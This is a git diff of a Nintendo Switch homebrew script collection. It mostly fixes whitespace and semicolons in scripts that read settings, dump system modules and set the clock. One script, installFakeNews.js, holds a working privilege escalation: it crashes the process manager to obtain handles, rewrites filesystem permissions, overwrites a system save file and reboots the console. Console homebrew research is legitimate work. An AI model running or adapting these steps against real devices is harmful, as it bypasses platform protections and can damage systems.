(argv['webapplet'] !== undefined) { + if (argv['webapplet'] !== undefined) { fakeInternetEnabled = true; } diff --git a/usefulscripts/SetSetting.js b/usefulscripts/SetSetting.js index 83836f2..e800fed 100644 --- a/usefulscripts/SetSetting.js +++ b/usefulscripts/SetSetting.js @@ -21,12 +21,12 @@ function setSetting(session, cls, nam, value) { // session is set:fd } sc.getServices(["set:sys", "set:fd"], function (setsys, setfd) { - var val = getSetting(setsys, cls, nam).assertOk(); - utils.log(cls + '!' + nam + ': 0x' + val.toString(16)); - setSetting(setfd, cls, nam, setValue).assertOk(); - var val2 = getSetting(setsys, cls, nam).assertOk(); - utils.log(cls + '!' + nam + ': 0x' + val2.toString(16)); - if(val != val2) { - utils.log('SUCCESS'); - } + var val = getSetting(setsys, cls, nam).assertOk(); + utils.log(cls + '!' + nam + ': 0x' + val.toString(16)); + setSetting(setfd, cls, nam, setValue).assertOk(); + var val2 = getSetting(setsys, cls, nam).assertOk(); + utils.log(cls + '!' + nam + ': 0x' + val2.toString(16)); + if(val != val2) { + utils.log('SUCCESS'); + } }); diff --git a/usefulscripts/SetupNew.js b/usefulscripts/SetupNew.js index 30fef22..09abe03 100644 --- a/usefulscripts/SetupNew.js +++ b/usefulscripts/SetupNew.js @@ -26,18 +26,18 @@ function setSetting(session, cls, nam, value) { // session is set:fd var keys = Object.keys(settings); sc.getServices(["set:sys", "set:fd"], function (setsys, setfd) { - for(var elem of keys) { - var velem = elem.split('!'); - var cls = velem[0], name = velem[1]; - var orig = getSetting(setsys, cls, name).assertOk(); - utils.log(elem + ' original: 0x' + orig.toString(16)); - var set = settings[elem]; - utils.log(elem + ' assigning to: 0x' + set.toString(16)); - setSetting(setfd, cls, name, set).assertOk(); - if(getSetting(setsys, cls, name).assertOk() != set) { - utils.log('... FAILED'); - } - } + for(var elem of keys) { + var velem = elem.split('!'); + var cls = velem[0], name = velem[1]; + var orig = getSetting(setsys, cls, name).assertOk(); + utils.log(elem + ' original: 0x' + orig.toString(16)); + var set = settings[elem]; + utils.log(elem + ' assigning to: 0x' + set.toString(16)); + setSetting(setfd, cls, name, set).assertOk(); + if(getSetting(setsys, cls, name).assertOk() != set) { + utils.log('... FAILED'); + } + } }); utils.log("done"); diff --git a/usefulscripts/dumpModules.js b/usefulscripts/dumpModules.js index 963b47e..846d634 100644 --- a/usefulscripts/dumpModules.js +++ b/usefulscripts/dumpModules.js @@ -1,71 +1,71 @@ var modules ={ - // Sysmodules - 'usb' : '0100000000000006', - 'tma' : '0100000000000007', - 'boot2': '0100000000000008', - 'settings' : '0100000000000009', - 'bus' : '010000000000000A', - 'bluetooth' : '010000000000000B', - 'bcat' : '010000000000000C', - 'friends': '010000000000000E', - 'nifm': '010000000000000F', - 'ptm': '0100000000000010', - 'bsdsockets': '0100000000000012', - 'hid': '0100000000000013', - 'audio': '0100000000000014', - 'LogManager.Prod' : '0100000000000015', - 'wlan' : '0100000000000016', - 'ldn' : '0100000000000018', - 'nvservices' : '0100000000000019', - 'pcv' : '010000000000001A', - 'ppc' : '010000000000001B', - 'nvnflinger' : '010000000000001C', - 'pcie.withoutHb' : '010000000000001D', - 'account' : '010000000000001E', - 'ns' : '010000000000001F', - 'nfc' : '0100000000000020', - 'psc' : '0100000000000021', - 'capsrv' : '0100000000000022', - 'am' : '0100000000000023', - 'ssl' : '0100000000000024', - 'nim' : '0100000000000025', - 'lbl' : '0100000000000029', - 'btm' : '010000000000002A', - 'erpt' : '010000000000002B', - 'vi' : '010000000000002D', - 'pctl' : '010000000000002E', - 'npns' : '010000000000002F', - 'eupld': '0100000000000030', - 'glue' : '0100000000000031', - 'eclct' : '0100000000000032', - 'es' : '0100000000000033', - 'fatal' : '0100000000000034', - 'creport' : '0100000000000036', + // Sysmodules + 'usb' : '0100000000000006', + 'tma' : '0100000000000007', + 'boot2': '0100000000000008', + 'settings' : '0100000000000009', + 'bus' : '010000000000000A', + 'bluetooth' : '010000000000000B', + 'bcat' : '010000000000000C', + 'friends': '010000000000000E', + 'nifm': '010000000000000F', + 'ptm': '0100000000000010', + 'bsdsockets': '0100000000000012', + 'hid': '0100000000000013', + 'audio': '0100000000000014', + 'LogManager.Prod' : '0100000000000015', + 'wlan' : '0100000000000016', + 'ldn' : '0100000000000018', + 'nvservices' : '0100000000000019', + 'pcv' : '010000000000001A', + 'ppc' : '010000000000001B', + 'nvnflinger' : '010000000000001C', + 'pcie.withoutHb' : '010000000000001D', + 'account' : '010000000000001E', + 'ns' : '010000000000001F', + 'nfc' : '0100000000000020', + 'psc' : '0100000000000021', + 'capsrv' : '0100000000000022', + 'am' : '0100000000000023', + 'ssl' : '0100000000000024', + 'nim' : '0100000000000025', + 'lbl' : '0100000000000029', + 'btm' : '010000000000002A', + 'erpt' : '010000000000002B', + 'vi' : '010000000000002D', + 'pctl' : '010000000000002E', + 'npns' : '010000000000002F', + 'eupld': '0100000000000030', + 'glue' : '0100000000000031', + 'eclct' : '0100000000000032', + 'es' : '0100000000000033', + 'fatal' : '0100000000000034', + 'creport' : '0100000000000036', - // Applets - 'qlaunch': '0100000000001000', - 'auth': '0100000000001001', - 'cabinet': '0100000000001002', - 'controller': '0100000000001003', - 'dataErase': '0100000000001004', - 'error': '0100000000001005', - 'netConnect': '0100000000001006', - 'playerSelect': '0100000000001007', - 'swkbd': '0100000000001008', - 'miiEdit': '0100000000001009', - 'LibAppletWeb': '010000000000100A', - 'LibAppletShop': '010000000000100B', - 'overlayDisp': '010000000000100C', - 'photoViewer': '010000000000100D', - 'LibAppletOff': '010000000000100F', - 'LibAppletLns': '0100000000001010', - 'LibAppletAuth': '0100000000001011', - 'starter': '0100000000001012', - 'myPage': '0100000000001013', - 'maintenance': '0100000000001015', + // Applets + 'qlaunch': '0100000000001000', + 'auth': '0100000000001001', + 'cabinet': '0100000000001002', + 'controller': '0100000000001003', + 'dataErase': '0100000000001004', + 'error': '0100000000001005', + 'netConnect': '0100000000001006', + 'playerSelect': '0100000000001007', + 'swkbd': '0100000000001008', + 'miiEdit': '0100000000001009', + 'LibAppletWeb': '010000000000100A', + 'LibAppletShop': '010000000000100B', + 'overlayDisp': '010000000000100C', + 'photoViewer': '010000000000100D', + 'LibAppletOff': '010000000000100F', + 'LibAppletLns': '0100000000001010', + 'LibAppletAuth': '0100000000001011', + 'starter': '0100000000001012', + 'myPage': '0100000000001013', + 'maintenance': '0100000000001015', - // System Apps - 'flog': '01008BB00013C000' + // System Apps + 'flog': '01008BB00013C000' }; function dumpModule(module, loader, name) { //We need a ILocationResolver to pass to fsp to say what we are reading so we're getting a handle @@ -73,7 +73,7 @@ function dumpModule(module, loader, name) { //3 is the StorageID for NAND System var lr = sc.ipcMsg(0).data(3).sendTo(lripc).assertOk(); sc.withHandle(lr.movedHandles[0], (content) => { - //We are getting our ContentPath needed for fsp, c being the "receiving" buffer + //We are getting our ContentPath needed for fsp, c being the "receiving" buffer var buf = new ArrayBuffer(0x300); sc.ipcMsg(0).data(utils.parseAddr(module)).cDescriptor(buf).sendTo(content).assertOk(); diff --git a/usefulscripts/installFakeNews.js b/usefulscripts/installFakeNews.js index c0b7dcc..cc605ae 100644 --- a/usefulscripts/installFakeNews.js +++ b/usefulscripts/installFakeNews.js @@ -24,7 +24,7 @@ var perm_b = new Uint8Array([ ]); var save_data; -var save_file = "/data/D00000000000000000000_LS00000000000000010000.msgpack" +var save_file = "/data/D00000000000000000000_LS00000000000000010000.msgpack"; // you have to make pegaswitch serve static HTTP files, like ace_loader or kgDoom used var xhr = new XMLHttpRequest(); @@ -39,62 +39,62 @@ utils.log('fake_news_len: '+save_data.length); utils.log('AAA: '+save_data[0xCCC].toString(16)); if (sc.elev_privs === undefined || !sc.elev_privs) { - sc.elev_privs = false; - // kill bcat - var tid = utils.parseAddr('010000000000000C'); // bcat - sc.ipcMsg(2).data(tid).sendTo('pm:shell'); - sc.getService("pm:dmnt", (hndle) => { - utils.log("got handle 0x" + hndle.toString(16)); + sc.elev_privs = false; + // kill bcat + var tid = utils.parseAddr('010000000000000C'); // bcat + sc.ipcMsg(2).data(tid).sendTo('pm:shell'); + sc.getService("pm:dmnt", (hndle) => { + utils.log("got handle 0x" + hndle.toString(16)); - // crash PM - for(var i = 0; i < 64; i++) - { - var res = sc.ipcMsg(2).setType(5).sendTo(hndle);//.assertOk(); - if(res.movedHandles != undefined) - utils.log("duplicate 0x" + res.movedHandles[0].toString(16)); - } + // crash PM + for(var i = 0; i < 64; i++) + { + var res = sc.ipcMsg(2).setType(5).sendTo(hndle);//.assertOk(); + if(res.movedHandles != undefined) + utils.log("duplicate 0x" + res.movedHandles[0].toString(16)); + } - }); - var pid = sc.getService('fsp-srv', (tmp_hnd) => { - utils.log("got fspsrv"); - sc.ipcMsg(1).sendPid().data(0).sendTo(tmp_hnd).assertOk(); - return sc.read4(sc.ipcBufAddr, 0xC >> 2); - }); - sc.getService("fsp-pr", (hndle) => { - // ClearFsPermissions - sc.ipcMsg(1).data(pid).sendTo(hndle).assertOk(); - // SetFsPermissions - sc.ipcMsg(0).data(3, pid, tid, 0x1c, 0x2c).aDescriptor(perm_a.buffer, 0x1c, 0).aDescriptor(perm_b.buffer, 0x2c, 0).sendTo(hndle).assertOk(); - }); - sc.elev_privs = true; + }); + var pid = sc.getService('fsp-srv', (tmp_hnd) => { + utils.log("got fspsrv"); + sc.ipcMsg(1).sendPid().data(0).sendTo(tmp_hnd).assertOk(); + return sc.read4(sc.ipcBufAddr, 0xC >> 2); + }); + sc.getService("fsp-pr", (hndle) => { + // ClearFsPermissions + sc.ipcMsg(1).data(pid).sendTo(hndle).assertOk(); + // SetFsPermissions + sc.ipcMsg(0).data(3, pid, tid, 0x1c, 0x2c).aDescriptor(perm_a.buffer, 0x1c, 0).aDescriptor(perm_b.buffer, 0x2c, 0).sendTo(hndle).assertOk(); + }); + sc.elev_privs = true; } sc.getService("fsp-srv", (hndle) => { - utils.log("got handle 0x" + hndle.toString(16)); - sc.ipcMsg(1).datau64(0).sendPid().sendTo(hndle).assertOk(); // initialize - var res = sc.ipcMsg(52).dataArrayBuffer(save_struct.buffer).sendTo(hndle).assertOk(); // MountSystemSaveData - sc.withHandle(res.movedHandles[0], (bish) => { - utils.log("got handle 0x" + hndle.toString(16)); - var fs = new sc.IFileSystem(sc, bish); - utils.log("delete file"); - fs.DeleteFile(save_file).assertOk(); - utils.log("create file"); - fs.CreateFile(save_file, save_data.byteLength).assertOk(); - utils.log("open file"); - var f = fs.OpenFile(save_file).assertOk(); - utils.log("write file"); - f.Write(0, save_data.buffer, save_data.byteLength).assertOk(); - utils.log("close file"); - f.Close(); - utils.log("commit"); - sc.ipcMsg(10).sendTo(bish).assertOk(); // commit - utils.log("finished"); - if (sc.version === '1.0.0') { - sc.ipcMsg(1).sendTo("bpc:c").assertOk(); - } else { - sc.ipcMsg(1).sendTo("bpc").assertOk(); - } - }); + utils.log("got handle 0x" + hndle.toString(16)); + sc.ipcMsg(1).datau64(0).sendPid().sendTo(hndle).assertOk(); // initialize + var res = sc.ipcMsg(52).dataArrayBuffer(save_struct.buffer).sendTo(hndle).assertOk(); // MountSystemSaveData + sc.withHandle(res.movedHandles[0], (bish) => { + utils.log("got handle 0x" + hndle.toString(16)); + var fs = new sc.IFileSystem(sc, bish); + utils.log("delete file"); + fs.DeleteFile(save_file).assertOk(); + utils.log("create file"); + fs.CreateFile(save_file, save_data.byteLength).assertOk(); + utils.log("open file"); + var f = fs.OpenFile(save_file).assertOk(); + utils.log("write file"); + f.Write(0, save_data.buffer, save_data.byteLength).assertOk(); + utils.log("close file"); + f.Close(); + utils.log("commit"); + sc.ipcMsg(10).sendTo(bish).assertOk(); // commit + utils.log("finished"); + if (sc.version === '1.0.0') { + sc.ipcMsg(1).sendTo("bpc:c").assertOk(); + } else { + sc.ipcMsg(1).sendTo("bpc").assertOk(); + } + }); }); \ No newline at end of file diff --git a/usefulscripts/setRtc.js b/usefulscripts/setRtc.js index 95c1444..7013d6b 100644 --- a/usefulscripts/setRtc.js +++ b/usefulscripts/setRtc.js @@ -8,7 +8,7 @@ sc.getService("time:s", (time_s)=>{ see https://reswitched.github.io/SwIPC/ifaces.html#nn::timesrv::detail::service::IStaticService for more info */ sc.ipcMsg(1).sendTo(time_s).assertOk().withHandles((response, moved, copied) =>{ - sysClock = moved[0] + sysClock = moved[0]; /* Set time We send message 1 (SetCurrentTime) using the sysclock handle we just got, which sets the POSIX time @@ -24,5 +24,5 @@ sc.getService("time:s", (time_s)=>{ */ var currentTime = sc.ipcMsg(0).sendTo(sysClock).assertOk().data[0]; utils.log("New time - "+currentTime); - }) -}) + }); +});